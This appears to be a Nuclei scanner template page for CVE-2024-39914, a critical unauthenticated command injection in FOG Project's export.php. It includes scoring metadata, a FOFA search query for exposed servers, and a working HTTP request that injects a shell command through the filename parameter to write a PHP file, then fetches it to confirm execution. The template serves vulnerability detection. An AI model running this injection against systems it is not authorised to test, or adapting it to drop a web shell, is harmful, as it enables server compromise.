CVE-2024-39914: FOG Project < 1.5.10.34 - Remote Command Execution
- Template: CVE-2024-39914
- Name: FOG Project < 1.5.10.34 - Remote Command Execution
- Description: FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.
- Impact: Unauthenticated attackers can exploit command injection to achieve remote code execution on the FOG server.
- Remediation: Update FOG Project to version 1.5.10.34 or later.
- Severity: critical
- Authors: s4e-io
- Tags: cve, cve2024, rce, fog, vkev, vuln
- References: https://nvd.nist.gov/vuln/detail/CVE-2024-39914, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914, https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j, https://blog.csdn.net/qq_39894062/article/details/140550009
- Cves: CVE-2024-39914
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-39914.yaml
- Digest: 4a0a00473045022036518af355636dd11cd00c246df18df914e0d685f2bb2013359de4b74e93acf7022100ce4836e6ea6512caaa86be48cd07099ebe2bc691432bfe28d0382b78210c45aa
- Created at: 2024-07-25T12:57:41Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 852
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-39914.yaml
- Checked, none or zero: verified
- Not known: max requests
Classification
- Cwe: CWE-77
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.23237
- Epss percentile: 0.97822
- Not known: cpe
Metadata
- Fofa-query: icon_hash="-1952619005"
- Product: fogproject
- Vendor: fogproject
Products
| Product | Indexed | Url |
|---|---|---|
| fogproject:fogproject | yes | /v1/products/fogproject/fogproject |
Labels
- Name: FOG - Command Injection
- Impact: Attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
- Remediation: Update to version 1.5.10.34 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-39914
- Not known: requirements
```yaml
id: CVE-2024-39914
info:
name: FOG Project < 1.5.10.34 - Remote Command Execution
author: s4e-io
severity: critical
description: |
FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.
impact: |
Unauthenticated attackers can exploit command injection to achieve remote code execution on the FOG server.
remediation: |
Update FOG Project to version 1.5.10.34 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-39914
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914
- https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j
- https://blog.csdn.net/qq_39894062/article/details/140550009
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-39914
cwe-id: CWE-77
epss-score: 0.23237
epss-percentile: 0.97822
metadata:
vendor: fogproject
product: fogproject
fofa-query: icon_hash="-1952619005"
tags: cve,cve2024,rce,fog,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(12))}}"
num: "{{rand_int(1000, 9999)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /management/export.php?filename=$(echo+'<?php+echo+md5({{num}});+?>'+>+{{filename}}.php)&type=pdf HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
fogguiuser=fog&nojson=2
matchers:
- type: dsl
dsl:
- 'contains_all(body,"No HTML files!","HTMLDOC")'
- 'contains(content_type, "application/pdf")'
- "status_code == 200"
condition: and
internal: true
- raw:
- |
GET /management/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"{{md5(num)}}")'
- 'contains(content_type, "text/html")'
- "status_code == 200"
condition: and
digest: 4a0a00473045022036518af355636dd11cd00c246df18df914e0d685f2bb2013359de4b74e93acf7022100ce4836e6ea6512caaa86be48cd07099ebe2bc691432bfe28d0382b78210c45aa:922c64590222798bb761d5b6d8e72950
```